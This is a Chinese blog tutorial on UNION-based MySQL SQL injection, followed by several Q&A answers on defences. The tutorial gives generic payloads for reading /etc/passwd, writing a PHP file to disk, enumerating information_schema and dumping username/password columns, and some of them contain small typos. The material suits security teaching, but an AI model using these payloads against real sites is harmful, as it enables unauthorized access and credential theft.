sql注入-union select

什么是SQL注入

SQL注入(Sql Injection )

  1. 是一种将SQL语句插入或添加到应用(用户)的输入参数中的攻击
  2. 这些参数传递给后台的SQL数据库服务器加以解析并执行

哪里存在SQL注入?

  • GET
  • POST
  • HTTP头部注入
  • Cookie注入

任何客户端可控,传递到服务器的变量,并且和数据库进行交互,都有可能存在sql注入。

SQL注入的分类

  1. 根据SQL数据类型分类
  • 整型注入
  • 字符串类型注入
  1. 根据注入的语法分类
  • UNION query SQL injection(可联合查询注入)
  • Error-based SQL injection(报错型注入)
  • Boolean-based blind SQL injection(布尔型注入)
  • Time-based blind SQL injection(基于时间延迟注入)
  • Stacked queries SQL injection(可多语句查询注入)

如何去判断SQL注入漏洞

  • and 1=1 / and 1=2 回显页面不同(整形判断)
  • 单引号判断 ‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断)
  • \ (转义符)
  • -1/+1 回显下一个或上一个页面(整型判断)
  • and sleep(5) (判断页面返回时间)

MySQL数据库的特性

MySQL中3种注释风格
  • # (url编码为%23)

  • – (–后边要跟上一个或多个空格 --+)

  • /* … */

  • /*! … */ 内联注释

    select * /!22222from/ users;(注:22222低于数据库版本号(5[0].7.20)就可显示from)

MySQL函数利用
常用函数
  • user()
  • database()
  • @@version
  • session_user()
  • @@basedir
  • @@datadir
  • @@version_compile_os
load_file( )函数 读文件操作

前提

  • 知道文件绝对路径
  • 能够使用union查询
  • 对web目录有写权限

UNION SELECT 1,load_file(’/etc/passwd’),3,4,5,6#
UNION SELECT 1,load_file(0x2f6574632f706173737764),3,4,5,6#

into outfile( )写文件操作

前提

  • 文件名必须全路径(绝对路径),
  • 用户必须有写文件的权限
  • 没有对 ‘ 引号过滤

SELECT ‘<?php phpinfo(); ?>’ into outfile ‘c:\Windows\tmp\1.php’

连接字符串函数
  • concat(str1,str2)
  • concat_ws(separator, str1,str2…)
  • group_concat(str1,str2…)
MySQL中information_scheme库

SCHEMATA表
字段:SCHEMA_NAME
TABLES表
字段:TABLE_SCHEMA, TABLE_NAME
COLUMNS表
字段:TBALE_SCHEMA,TABLE_NAME,COLUMN_NAME

MySQL中UNION规则
  • UNION必须由两条或两条以上的SELECT语句组成,语句之间用关键字UNION分隔
  • UNION中的每个查询必须包含相同的列。
  • UNION会从查询结果集中自动去除了重复行。
  • UNION query SQl injection

利用前提

  1. 页面上有显示位

    优点:
    方便、快捷、易于利用
    缺点:
    需要显示位

步骤

  1. 判断列数

    order by 10
    order by 20
    order by 15

  2. 判断显示位

    url?id=-1 union select 1,2,3,4,5

  3. 获取当数据库名称和当前连接数据库的用户

    url?id=-1 union select 1,2,databaes(),4,5
    url?id=-1 union select 1,2,user(),4,5

  4. 列出所有数据库

    limit 一个一个打印出来库名
    select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
    group_concat 一次性全部显示
    select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

  5. 列出(数据库:test)中所有的表

    limit 一个一个打印出来字段名
    select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘test’
    limit 0,1
    group_concat 一次性全部显示
    select group_concat(TABLE_NAME) from information_schema.TABLES where
    TABLE_SCHEMA=0x674657374
    注意:数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制。

  6. 列出(数据库:test 表:admin )中所有的字段

    limit 一个一个打印出来
    select COLUMN_NAME from information_schema.COLUMNS where
    TABLE_SCHEMA=‘baji’ and TABLE_NAME=‘users’ limit 0,1
    group_concat 一次性全部显示
    select group_concat(COLUMN_NAME) from information_schema.COLUMNS where
    TABLE_SCHEMA=0x74657374 and TABLE_NAME=0x61646d696e

  7. 列出(数据库:test 表:admin )中的数据

    limit 一个一个打印出来
    select username,passwd from test.admin limit 0,1
    group_concat 把 一次性全部打印
    select group_concat(concat(username,0x20,passwd)) from test.admin
    network

  • 32
    点赞
  • 148
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
### 回答1: SQL注入是一种攻击技术,它利用Web应用程序中的漏洞,向数据库中注入恶意代码。"union select 1,2,3"是一种常见的SQL注入攻击方式,它的目的是将查询结果合并到现有的查询中,以获取敏感信息或执行恶意操作。为了防止SQL注入攻击,开发人员应该采取一系列措施,如使用参数化查询、过滤输入、限制用户权限等。 ### 回答2: SQL注入是一种恶意攻击方法,攻击者试图通过修改应用程序的输入,来恶意地操作数据库,例如删除数据、修改数据或者获取敏感信息。SQL注入攻击的方式有很多种,其中一种常见的攻击方式是使用Union Select语句。 Union Select语句是一种将两个或多个SELECT语句的结果集合并在一起的方式。攻击者利用Union Select语句,可以将另一个SELECT语句的结果集添加到原始查询结果集中,从而获取更多的敏感数据。例如,攻击者可以使用以下代码: ``` SELECT username, password FROM users WHERE username='' UNION SELECT 1,2,3 FROM users ``` 上述代码中,攻击者通过在Union Select语句中添加“1,2,3”这个结果集,使得查询结果集包含了除了用户名和密码之外的另外三列数据。如果原始查询结果集中包含了敏感数据,这些额外的列可能会暴露更多的敏感信息。 为了防止SQL注入攻击,应用程序开发人员可以采取以下措施: 1.使用参数化查询语句。参数化查询语句不仅可以防止SQL注入攻击,还可以提高查询性能和代码的可读性和可维护性。 2.对输入数据进行验证和过滤。例如,限制用户名只包含字母和数字,防止攻击者使用特殊字符进行注入。 3.记录和监控数据库访问日志。记录日志可以帮助检测和防止SQL注入攻击,以及为后续的安全审计提供依据。 4.使用防火墙和IDS/IPS技术。防火墙和IDS/IPS技术可以检测和阻止具有攻击特征的流量,从而提高系统的安全性。 总之,在应用程序中使用合适的安全策略和技术,可以有效地防止SQL注入攻击。同时,开发者也要认识到,对于数据库的数据查询和处理需要严格甄别,不可以轻易地把所有用户输入和URL参数直接拼接到SQL语句中,应该进行有效的过滤和转义,避免开发过程中出现是否行的安全漏洞,从而确保应用程序和数据库的安全性。 ### 回答3: SQL注入是一种攻击技术,其目的是通过构造恶意输入数据来破坏数据库的完整性和保密性。其中,使用“UNION SELECT”操作符是SQL注入中常见的一种方式。 在SQL注入中,攻击者通过向数据库服务器发送恶意的SQL查询语句,来获取敏感信息或破坏数据库。例如,当攻击者将“UNION SELECT 1,2,3”注入到一个不安全的应用程序中时,他们可能会成功获取数据库中某些表的前三行记录,从而得到有关数据库的敏感信息。 这种攻击方法之所以有效,是因为数据库服务器无法区分合法的查询和恶意的查询。因此,攻击者可以通过注入合适的SQL代码来避开应用程序的安全措施,并从数据库中获取敏感信息。 为了防止SQL注入攻击,开发人员必须采取一系列的安全措施,包括使用参数化查询,严格限制数据输入,过滤掉恶意代码等等。此外,企业也可以使用安全软件和网络安全设备来检测和防止SQL注入攻击。 总之,SQL注入攻击是一种经常被黑客使用的攻击技术,可以通过使用“UNION SELECT”操作符来获取敏感信息或破坏数据库。开发人员必须采取一系列的安全措施,来防止这种攻击方法。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值